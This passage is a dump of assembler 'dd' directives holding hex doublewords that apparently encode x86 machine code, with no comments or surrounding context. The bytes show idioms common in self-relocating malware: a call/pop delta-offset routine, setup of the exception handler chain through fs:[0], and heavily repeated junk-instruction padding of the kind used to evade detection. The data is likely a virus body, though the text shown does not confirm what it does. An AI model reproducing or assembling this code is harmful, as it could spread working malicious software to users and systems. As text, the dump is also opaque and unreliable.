0EA128D95h, 0FA8B6605h, 0D9D4B58Bh dd 810F05EDh, 6, 14BD8D89h, 6C705EAh, 10001h, 0C9A9BB66h dd 74BF6650h, 2434892Eh, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Ch, 28C35747h, 12EF0C77h, 0BF357B60h, 0D9E0B5FFh dd 6A05EDh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h dd 57470000h, 0F67F5DC3h, 0B1B58938h, 0FF05EA2Bh, 0EA326995h dd 50006A05h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h, 0C3504000h dd 0B8CBC42Bh, 85BD892Ch, 8B05EA2Eh, 0EDD9D4B5h, 50006A05h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h, 0C3504000h dd 546308BCh, 0E9845A1Fh, 12h, 752AB5BAh, 2D35B1B1h, 2366A036h dd 1E017CBDh, 9D89FB76h, 5EA0815h, 881858Bh, 0DE805EAh dd 38000000h, 4C429571h, 735510F3h, 0E1F08075h, 8519589h dd 895B05EAh, 0C486h, 0DA8B6600h, 0DD958BF9h, 6A05EA0Ah dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1B042444h dd 43000000h, 8CB4C353h, 6BC2424h, 85296B6Ch, 5EA2C29h dd 0F04C283h, 1388h, 0EE900h, 0FF30000h, 8BE8959h, 8B5B1AA5h dd 0B872BA38h, 6A205089h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1D042444h, 43000000h, 17DBC353h, 7BF80F0Ch dd 2377456Dh, 858D3AB7h, 5EDEB67h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 17h, 2DC35141h, 0FCA5C3D4h, 0B88689h dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h dd 52420000h, 0B1FFF7C3h, 0F7F5C19Bh, 58E0Fh, 81660000h dd 6A377BC7h, 0FE900h, 2CBC0000h, 0A173C171h, 0A09DDAA9h dd 0EB030007h, 0E0B5FF3Ah, 0F05EDD9h, 0C8Eh, 68E0F00h dd 29000000h, 0EA2D21BDh, 3D95FF05h, 8B05EA16h, 0EA138DBDh dd 8B669605h, 14E950DFh, 18000000h, 595365B2h, 59694915h dd 37C14D53h, 0AB63ED96h, 9617623Dh, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 19h, 2C35141h, 1108AAA1h, 525051E8h dd 0FF5F5F5Bh, 0EDD9E0B5h, 19BD8B05h, 0FF05EA12h, 0EA15A995h dd 0D8BF0F05h, 14E9h, 2419AB00h, 29D16E53h, 4D6B3A19h dd 0F964F7E9h, 0D4749DC6h, 5DBD8388h, 5EA11h, 39840Fh dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h dd 56460000h, 0AB9749C3h, 2DA4B251h, 50FCB72Fh, 0BAB335BBh dd 2434891Ah, 81D9D0Bh, 9CBB05EAh, 0FF7D2438h, 0EDD9E0B5h dd 56006A05h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1A04h dd 0C3564600h, 87889760h, 0B3E537A6h, 0FB8B6667h, 1CC995FFh dd 6A05EAh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h dd 52420000h, 0E14DF3C3h, 3EAD5B24h, 0FF8D3EF5h, 0EDD9E0B5h dd 0F19D8B05h, 0FF05EA29h, 0EA230D95h, 55006A05h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1604h, 0C3554500h dd 8B922C07h, 0EA1E799Dh, 850F05h, 83000000h, 0EA0631BDh dd 840F0205h, 46h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Bh, 7FC35747h, 5D639F9Ch, 8BF204D7h, 0EA0C9585h dd 8880F05h, 0F000000h, 282h, 8B616000h, 0EA19BDBDh, 0C605h dd 1C159D8Bh, 85C705EAh, 5EA097Dh, 0 dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 38C35242h dd 77DEAD7Bh, 0FFF31FE9h, 0DF8B66FFh, 1D9DBD8Bh, 0C18B05EAh dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 69C35747h dd 8A7766ECh, 7307999Ah, 7C62BF66h, 298D858Dh, 6A05EAh dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h dd 0E8B2A9C3h, 11h, 3519BAD9h, 0F65E2885h, 201DC5C9h, 0AE793F75h dd 0CF8166B6h, 905F4544h, 8A50D98Bh, 6A90F9h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 180424h, 52420000h, 0A9DC78C3h dd 9D8BEC8Fh, 5EA11DDh, 6A006Ah, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 160424h, 57470000h, 213D38C3h, 6E9h, 20967000h dd 6AC398F4h, 0AE900h, 42610000h, 5E48E020h, 0C82EE016h dd 7A8709BFh, 80858D7Ch, 8B05EEB5h, 0EA0B91BDh, 5C08305h dd 0F98B6650h, 6A240489h, 0D98D8900h, 6A05EA24h, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1A04h, 0C3514100h dd 964828CFh, 8B5B5068h, 0EA24CD9Dh, 0E995FF05h, 8D05EA23h dd 0EDD89D8Dh, 52006A05h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1704h, 0C3524200h, 3D706EF0h, 6AD1FFh, 3E850h dd 58200000h, 448958C3h, 44810424h, 160424h, 50400000h dd 0D87ACFC3h, 1565BD8Bh, 0DF8B05EAh, 2D1BD83h, 0F0105EAh dd 8C85h, 79BD8900h, 6A05EA20h, 0DDBD8902h, 9005EA25h dd 248A0Fh, 52500000h, 9BEDBB66h, 14E8310Fh, 92000000h dd 1DECAE0Fh, 53185641h, 0FC221182h, 40A73ECFh, 5BD8C74Bh dd 6650585Ah, 6A90D88Bh, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 15042444h, 43000000h, 4AB8C353h, 13159D8Bh dd 95FF05EAh, 5EA163Dh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 17h, 4CC35141h, 8B30FDB4h, 0EA05ED9Dh, 0D6FE905h dd 0E80000h, 5D000000h, 0B58AED81h, 6AF905EEh, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h dd 5B6BC356h, 0BBE887DAh, 26E9F63Eh, 0C387858Dh, 6A05EDh dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h dd 30996DC3h, 29F55897h, 0EA1DF995h, 999D8B05h, 5005EA0Ah dd 0AE8h, 23D82C00h, 0CB94468Fh, 669C4F68h, 895FDE8Bh dd 9D8B2404h, 5EA0FD9h, 35FF64h, 29000000h, 0EA2C119Dh dd 25896405h, 0 dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 0C8C35646h dd 809F8395h, 218B42FAh, 60D9D381h, 85FF0A75h, 5EA1C49h dd 8BFF6AF5h, 0C9B5FFF9h, 0E905EA1Bh, 6, 5AFC9F4Fh, 95FF2243h dd 5EA1449h, 0DFE9h, 0AE96000h, 67000000h, 5DB46C89h, 6345D172h dd 61ACB7C3h, 0E6F800B0h, 91BD0370h, 0E405EA1Dh, 0DF8B6671h dd 830F613Ch, 0B4h, 8BC8B60Fh, 6BAFEh, 0BD290000h, 5EA2AA1h dd 0BB66C18Bh, 0E8C15C70h, 0C5B1BB04h, 8B66562Fh, 0E2F766F9h dd 0CF80C82Bh, 51D18B6Ah, 0EBEDE3BFh, 2E95B13h, 0B7000000h dd 15858B98h, 6605EA2Fh, 0F2D1CB81h, 3307C083h, 0EA0AD19Dh dd 71BD8905h, 8305EA06h, 850100C0h, 5EA20C1h, 830FD03Bh dd 15h, 2C999589h, 45E905EAh, 0F000000h, 483h, 5B506000h dd 598D8B61h, 2305EA15h, 0EA13319Dh, 1E18305h, 26840Fh dd 29600000h, 0EA317195h, 0A1B50905h, 6105EA0Bh, 1559A583h dd 89FE05EAh, 0EA2F1595h, 619D3105h, 0E905EA07h, 0 dd 272AB58Dh, 6A05EEh, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1A0424h, 55450000h, 1FD1CCC3h, 5AABCA31h, 47D109BFh dd 840F13h, 6A000000h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1804h, 0C3574700h, 581C2B32h, 0E3EB8140h dd 0FF11F839h, 0EA101595h, 50006A05h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1804h, 0C3504000h, 0C59F6EF9h dd 8DEB993h, 9D8B0000h, 5EA0D59h, 6AFCE183h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h dd 2D22C353h, 82CF10ADh, 78E381B5h, 0FC070B96h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 87C35040h, 65F220A4h dd 0C02BF693h, 8529D98Bh, 5EA0C55h, 8589D22Bh, 5EA11ADh dd 0D1C233ADh, 83D003E8h, 0F47504E9h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Ah, 11C35242h, 9969892Ah, 6A68B4h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h dd 0A270EDC3h, 45E97BB4h, 0FE8B660Bh, 880Dh, 8B5F5600h dd 0EA0ADD95h, 11E905h, 0DA350000h, 0A1583351h, 71B43060h dd 795305D9h, 8BE24DDAh, 0EA0ACD8Dh, 53006A05h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1604h, 0C3534300h, 50782ED0h dd 188BC28Bh, 188BC103h, 0E8D1C18Bh, 188BC203h, 5DB53158h dd 8905EA09h, 0EA115995h, 19BD8305h, 5EA08h, 6F840Fh, 0BF0F0000h dd 0B8D8h, 0BD890000h, 5EA317Dh, 4C218D8Dh, 6A05EAh, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h dd 1892EEC3h, 2297FACFh, 800F5512h, 26h, 11E8h, 0A0F35C00h dd 3E312BBDh, 5AB64611h, 0A26A4B65h, 0AE91EB6h, 7A000000h dd 688F6566h, 0D91DF463h, 8D895FD9h, 5EA167Dh, 8B66E1FFh dd 0F5BD83D9h, 5EA25h, 4D8840Fh, 0E9600000h, 11h, 9BE4E7D3h dd 1876FDCAh, 0E8E54E73h, 6AA14268h, 25BD8B10h, 6105EA16h dd 25F5BD83h, 0F0105EAh, 4C884h, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1804h, 0C3524200h, 3A2CEFh, 0F5BD83FCh dd 305EA25h, 465860Fh, 0BD8B0000h, 5EA0EB9h, 57006A60h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h, 0C3574700h dd 89A2EFDCh, 42BC8051h, 95BD8BADh, 0B305EA1Dh, 0D98C66D0h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 0D1C35040h dd 1607B07h, 0EA0EE18Dh, 69B58B05h, 6105EA16h, 6A04E180h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 17042444h dd 41000000h, 4BC5C351h, 0BD8B168Ah, 5EA1685h, 0FC90AF9h dd 12084h, 0E3816600h, 858B582Dh, 5EA1629h, 15358533h dd 6A05EAh, 3E850h, 58200000h, 448958C3h, 44810424h, 140424h dd 50400000h, 46BFA5C3h, 5065045Ah, 7E8h, 5A59500h, 0CC1ED797h dd 2404895Bh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Ch, 0A6C35141h, 0A800A606h, 89C62D85h, 1632BB66h, 6A006Ah dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h dd 0A642B7C3h, 3F66E4C4h, 9D8BC720h, 5EA1031h, 9737E968h dd 81DF8B7Ch, 34162434h, 6A7C88h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1C0424h, 57470000h, 51DA35C3h, 60A15833h dd 0DE9B430h, 6E000000h, 0A94B5258h, 0F30E7E5Ch, 0C0709BBAh dd 320D95FFh, 6A05EAh, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 150424h, 51410000h, 894D02C3h, 0EA1BCD95h, 0E0858905h dd 5205EDD9h, 0F71BD8Bh, 0E95B05EAh, 246h, 8509F960h, 5EA0165h dd 0D8858B61h, 6A05EDD9h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 14042444h, 41000000h, 0F6DC351h, 686h, 61BD8900h dd 0BF05EA10h, 315EEA8Ah, 1800C7h, 6A0000h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 180424h, 55450000h, 72EFECC3h dd 0E951A35Bh, 10h, 0F19B81A1h, 0E9E007C0h, 5D8A204Ch dd 9D7C59F8h, 4DBD8B5Fh, 8B05EA1Ch, 0EDD9DCB5h, 0AE905h dd 0AD690000h, 0E27443D4h, 0DD86677h, 815BD8Bh, 858B05EAh dd 5EA29E5h, 13D19D89h, 0EF8105EAh, 7E3CF2DFh, 0D98B0689h dd 1629858Bh, 9D8B05EAh, 5EA1EC5h, 6A044689h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h dd 0B48EC356h, 0F9129E67h, 25EF8166h, 10E89673h, 5B000000h dd 685F8AAAh, 518B9253h, 0A1E5D192h, 6052426Bh, 0CE9h dd 728BC500h, 0CE0582FFh, 0AC21CED6h, 61CF8B77h, 0F88B505Bh dd 6880F96h, 1000000h, 0EA2981B5h, 0D8B5FF05h, 0E805EDD9h dd 10h, 0D59D81CBh, 47733F2Fh, 0CB53AF02h, 0D90C0939h dd 2B45BD8Bh, 0E85F05EAh, 4, 1F03FFh, 5ABB6656h, 0E8505F80h dd 10h, 0C68C6E94h, 383AF40Ah, 3948F133h, 90A4B758h, 8B5F56B3h dd 66042444h, 8BEB9DBBh, 0CE800h, 0EA6C0000h, 0BD1DF00Ch dd 0F31FC306h, 8B66D1F5h, 44895FD9h, 0BB660424h, 6A58493Dh dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 19042444h dd 47000000h, 0DC50C357h, 0C4D97E01h, 0D9E0858Dh, 6A05EDh dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h dd 0B8ACD4C3h, 0F9FEC317h, 20E5BD8Bh, 0E99005EAh, 0Bh dd 0A0A40774h, 4BB56504h, 50FBF09Ah, 2990DA8Bh, 0EA1E2595h dd 0D95FF05h, 6A05EA32h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 19042444h, 40000000h, 0AF29C350h, 191426F0h dd 14E8h, 0C41F7E00h, 0D7C8F6CFh, 61CB1B49h, 9C001A28h dd 9E9B184Eh, 5FDF8B7Eh, 0E520D781h, 6A61455Dh, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h dd 17C0C353h, 6EC387DBh, 1B141801h, 16259D8Bh, 85C705EAh dd 5EA25F5h, 3, 2CD18D89h, 0BD8305EAh, 5EDD9E0h, 2C840F00h dd 6A000000h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1A042444h, 45000000h, 38ACC355h, 9882D825h, 0E9FC8A11h dd 1Eh, 50D98B66h, 110C30h, 0C1011144h, 443010E8h, 4C000211h dd 83580311h, 0E77504E9h, 305036EBh, 64001104h, 0E8C10111h dd 11443010h, 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh dd 11642810h, 11443003h, 64285802h, 4300111h, 4E98311h dd 0EBE775h, 6AC08Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 180424h, 52420000h, 9015F6C3h, 0B7511576h, 9D8B5FEEh dd 5EA0DADh, 0F1FC66BFh, 0F5BD8351h, 305EA25h, 419850Fh dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h dd 51410000h, 67209FC3h, 0F5AFFFAh, 58Eh, 2412BF00h, 9D896533h dd 5EA3199h, 0D9E0BD83h, 0F0005EDh, 3DA84h, 59BD8B00h dd 0FF05EA11h, 0EDD9E0B5h, 5E805h, 0A5A80000h, 0F86AB5FAh dd 8D95FF5Bh, 6A05EA12h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 17042444h, 41000000h, 5AA9C351h, 13E9BA6Eh dd 7E000000h, 0A57E35D8h dd 0EB1E9CF0h, 0DB3812D7h, 0E06846h, 0B58B5522h, 5EDD9D4h dd 10E9h, 9C3A6000h, 0F98B7A48h, 7DCDF413h, 677612DDh dd 106C760h, 6A000100h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1B042444h, 40000000h, 47FDC350h, 0B686683Ch dd 0E9507D9Ah, 14h, 18239340h, 80E1D156h, 0A5C844ACh, 0FA52A1DAh dd 1E172D3Ch, 0FE85Fh, 0B84A0000h, 0B1982215h, 200853DEh dd 7787D36h, 19BD8B68h, 5F05EA30h, 63D3BF50h, 34893455h dd 51006A24h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1704h dd 0C3514100h, 3C6240C8h, 5870Fh, 81660000h, 81DE7BCBh dd 40A729DFh, 0E0B5FF10h, 8905EDD9h, 0EA2B518Dh, 6995FF05h dd 0F05EA32h, 68Fh, 0CD858900h, 8B05EA02h, 0EDD9D4B5h dd 0DE8B5105h, 81858B5Bh, 6605EA08h, 5460DB81h, 0BE9h dd 9FD24E00h, 42F86019h, 0F6636211h, 0C48689h, 14E80000h dd 0C9000000h, 6CDE004Ch, 0FD8631A3h, 98B989DAh, 517BFC4Eh dd 60D92362h, 331958Bh, 12E805EAh, 0E3000000h, 665C3139h dd 2A470B27h, 508B536Fh, 0F308AC44h, 5F615A0Ch, 0ADD958Bh dd 6A05EAh, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h dd 50400000h, 7889BBC3h, 4C283F3h, 8B205089h, 0EA05FD9Dh dd 67858D05h, 6A05EDEBh, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 19042444h, 46000000h, 0A396C356h, 0DC5F5EA3h dd 1DB58B60h, 0FC05EA1Eh, 6CBF6661h, 0B88689A0h, 6A000000h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1D042444h dd 42000000h, 4E28C352h, 257249CCh, 4B24910Ah, 0D114C781h dd 6A48D6h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 14h, 0A3C35040h, 5DDFBF66h, 0FD9D8B50h, 5F05EA0Eh, 0D9E0B5FFh dd 6A05EDh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h dd 53430000h, 39F7CC3h, 8B2E5D78h, 0F99D8BD9h, 0FF05EA20h dd 0EA163D95h, 1CB35005h, 6A243489h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 0FFEDC355h dd 0EDD9E0B5h, 0DF816605h, 95FFE118h, 5EA15A9h, 149DBD8Bh dd 0BD8305EAh, 5EA115Dh, 65840F00h, 6A000000h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h dd 1677C355h, 59D852DFh, 0E974119Ch, 0Dh, 74699AFAh, 0F11B980h dd 0CA0C8437h, 0A9BF96B8h, 507095BBh, 6BB6657h, 6A965F20h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 19042444h dd 47000000h, 6C71C357h, 0CE6A5F3Ch, 0D9E0B5FFh, 5B5705EDh dd 1CC995FFh, 0F98B05EAh, 0D9E0B5FFh, 852905EDh, 5EA0B49h dd 230D95FFh, 0C78105EAh, 38822C0Ch, 631BD83h, 0F0205EAh dd 5084h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1904h, 0C3554500h, 2CD23DDBh, 858BDDAFh, 5EA0C95h, 6A0000C6h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1B042444h dd 45000000h, 0DF11C355h, 796EEBA7h, 0D380532Fh, 7D85C7A0h dd 5EA09h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 18042444h, 42000000h, 0ED56C352h, 0E97B9223h, 0FFFFF369h dd 8BDBCF80h, 6870FC1h, 89000000h, 0EA2B2185h, 8D858D05h dd 5005EA29h, 0E9525060h, 0Fh, 5B331A8Dh, 0F0DDFB02h, 0F2BC1064h dd 0F610189h, 0DE831h, 23950000h, 1547D3Ah, 83D64D86h dd 5F855A56h, 0E28A585Ah, 24048961h, 6820F56h, 89000000h dd 0EA3231BDh, 0BD8B5F05h, 5EA2D25h, 8B66006Ah, 6A006ADEh dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 14042444h dd 41000000h, 0F1EC351h, 0B89h, 6E900h, 6DA70000h, 344C1DF9h dd 8D36C380h, 0EEC50285h, 51006A05h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1404h, 0C3514100h, 5C08362h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 0D7C35545h, 0ACEF181h dd 89DA8B50h, 6A2404h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 160424h, 52420000h, 3D43EBC3h, 0A2D78166h, 0E8006A6Bh dd 10h, 83A2994Fh, 1BE59302h, 0DB4997A7h, 0EF00C301h, 0EE960h dd 0CA950000h, 22840D57h, 3C239731h, 24C287A4h, 3577F5BFh dd 6A5F6125h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1C04h, 0C3514100h, 71DF4B38h, 0B5673192h, 0E995FFD5h dd 0E905EA23h, 0Bh, 5F885F6Ah, 5CF6ABC6h, 8D39BBDDh, 0EDD89D8Dh dd 1066BB05h, 0D1FF06CFh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 19h, 0D5C35343h, 0BD1B2B0Fh, 0D1BD83A4h, 105EA02h dd 71850Fh, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1A0424h, 50400000h, 0EE4B19C3h, 411CC24Fh, 0FE9F5h dd 0BF760000h, 0A74F794Eh, 50D2791Bh, 0C8BFA025h, 0F026AD6h dd 0B350DBBFh, 24048902h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 16h, 38C35747h, 0EF818D31h, 173940C5h, 95FFFB8Bh dd 5EA163Dh, 0E9FE8B66h, 0CEBh, 0E8h, 0ED815D00h, 5EEC50Ch dd 14E9h, 3E401400h, 7BB65912h, 6C4B8B3h, 624131A4h, 7D782333h dd 50006A1Ah, 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h dd 0C3504000h, 0D0E18167h, 6A7D888Dh, 8E90264h, 49000000h dd 0CE475F0Fh, 8D2D1380h, 0EDC38785h, 319D0105h, 5005EA20h dd 9BC9BF66h, 29240489h, 0EA116D8Dh, 35FF6405h, 0 dd 12E9h, 79D3FE00h, 0A4D91E5Ah, 0FE8E0542h, 1311551Eh dd 648669ACh, 2589h, 0FFFC0000h, 0EA1C4985h, 56006A05h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1804h, 0C3564600h dd 0DF504CF9h, 719D31ECh, 6A05EA30h, 0D38166FFh, 0B5FFC0D5h dd 5EA1551h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Bh, 0C1C35747h, 574B303Dh, 0FA8C124h, 882h, 9D895300h dd 5EA2A91h, 4995FF5Fh, 0E905EA14h, 107h, 0B0DE8B66h, 0FE8B6600h dd 9D0B70E6h, 5EA2915h, 8D0F71E4h, 6, 32559589h, 613C05EAh dd 0E1830Fh, 0CF810000h, 18D54A7Ah, 0E9C8B60Fh, 0Ah, 8426E09Eh dd 0D0F20DCDh, 6BA3974h, 8B000000h, 0EA17119Dh, 0FC18B05h dd 0E8C1DAB7h, 6E904h, 119B0000h, 812969F9h, 66E2F766h dd 22F8EF81h, 0ABBFC82Bh, 8B714853h, 6E9D1h, 49290000h dd 0FFE5EFF5h, 2E9h, 8B5B5100h, 0EA1C7185h, 859D8B05h dd 8305EA1Ah, 8C0F07C0h, 6, 95B531h, 0C08305EAh, 41BFBF00h dd 0D03B64BBh, 19830Fh, 0DA8B0000h, 56E9h, 7E85700h, 0E5000000h dd 4910B764h, 0C3805C9Eh, 8B5B5BADh, 0EA2C818Dh, 838EB705h dd 840F01E1h, 33h, 0DE9h, 1D92E500h, 0FF1F5F97h, 38574F29h dd 0BD8912A6h, 5EA0C89h, 2C81A583h, 8BFE05EAh, 719589D8h dd 0F05EA1Ch, 18Dh, 0E9F500h, 8D000000h, 0EE3180B5h, 0E19D2905h dd 6A05EA00h, 62DF8000h, 101595FFh, 0F88B05EAh, 8E6B9h dd 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h dd 0C3554500h, 0A67EC4F0h, 6860Fh, 9D8B0000h, 5EA1035h dd 0E8FCE183h, 12h, 4D5419BBh, 0BE0EE3ACh, 0BA6A1327h dd 0F80A728Ch, 8160DCACh, 561B18EEh, 61ABB26Bh, 6AFC5Fh dd 3E850h, 58200000h, 448958C3h, 44810424h, 150424h, 50400000h dd 89D9C0C3h, 0EA1C5DB5h, 0EF816605h, 0C02B47EAh, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 0F7C35545h, 0BA1Ch dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h dd 53430000h, 1DDE93C3h, 0B652650Bh, 89B2C1CEh, 0EA0041BDh dd 0C233AD05h, 0D003E8D1h, 7504E983h, 0E5B589F4h, 0E905EA2Ah dd 9, 3C6DD081h, 0BC30F84Eh, 55BD8B12h, 0D05EA1Ch, 88h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 82C35343h dd 2947DF71h, 0EA0B65BDh, 0B5016005h, 5EA0079h, 9059D33h dd 8B6105EAh, 0EA0ADD95h, 53006A05h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1904h, 0C3534300h, 68E1A926h dd 9529B8F5h, 5EA28D1h, 0ACD8D8Bh, 6A05EAh, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1A0424h, 51410000h, 658F98C3h dd 48C6EAAEh, 1211BD8Bh, 8B5005EAh, 3188BC2h, 8B188BC1h dd 3E8D1C1h, 58188BC2h, 2C7D9D33h, 9D8B05EAh, 5EA2909h dd 819BD83h, 0F0005EAh, 8484h, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1704h, 0C3564600h, 0BB4128CEh dd 6810Fh, 0B5290000h, 5EA2A25h, 2E799529h, 0B805EAh, 0E8000000h dd 6, 0D7C5EBF4h, 0BF0FCBBCh, 8A0F5FFAh, 2, 8D8DFA8Bh dd 5EA4C21h, 2565BD8Bh, 0E1FF05EAh, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Dh, 2C35242h, 0C1164CFh, 1CB7C0C1h dd 0B70FF524h, 0F5BD83DAh, 5EA25h, 445840Fh, 840F0000h dd 3, 2BFEB70Fh, 0EA06F1BDh, 0F5BD8305h, 105EA25h, 444840Fh dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h dd 56460000h, 2C8DBC3h, 0EF39895Ah, 0CFDBD8Bh, 0BD8305EAh dd 5EA25F5h, 0D9860F03h, 6A000003h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 16042444h, 40000000h, 8309C350h dd 6A6073h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h dd 57470000h, 2E184BC3h, 6611AFF0h, 8B66D98Ch, 4E180D8h dd 6E9h, 605A0300h, 81613933h, 0B9B3D3E3h, 0FC90A3Ah, 18484h dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h dd 0C3564600h, 0EDF2B8E1h, 11E8h, 816B1E00h, 0C1D2703Dh dd 0A7A7EB4Eh, 6BC24C23h, 6651D9F5h, 52BAF781h, 858B5F5Fh dd 5EA1629h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 17h, 0B1C35141h, 0F5E9C431h, 15358533h, 6A05EAh, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h dd 6D59FBC3h, 0BBFD812Bh, 56505419h, 2404895Bh, 7E8h, 8218EF00h dd 0C64D7658h, 6A5BDF8Bh, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1604h, 0C3504000h, 89DBA970h dd 0EA073595h, 0F9958905h, 0E805EA06h, 4, 1F03FFh, 24448B50h dd 8BDE8B04h, 9E800h, 0BB5A0000h, 187931ACh, 0E933C9DCh dd 7, 0B8FC4550h, 5B307FC7h, 4244489h, 0C2D0BB66h, 55006A58h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1604h, 0C3554500h dd 0FF5B7821h, 0EA320D95h, 57006A05h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1804h, 0C3574700h, 95B8CA0Ch dd 0CF8166F3h, 8589D146h, 5EDD9E0h, 681B589h, 0C8E905EAh dd 6A000001h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1A042444h, 47000000h, 8E91C357h, 4AE4F892h, 15BB66D2h dd 0D8858B8Bh, 6A05EDD9h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1B042444h, 41000000h, 3817C351h, 74F779E6h dd 0BF66A2C6h, 0C760ECh, 18h, 2009BD29h, 0B58B05EAh, 5EDD9DCh dd 8E8h, 24E45200h, 6385BE7Ch, 0B9BD2383h, 5B05EA12h, 29E5858Bh dd 6A05EAh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h dd 55450000h, 0D565CC3h, 0FE98Dh, 0A9370000h, 513BA480h dd 1D594BA2h, 0E43EBAECh, 6A068940h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 0ABA7C353h dd 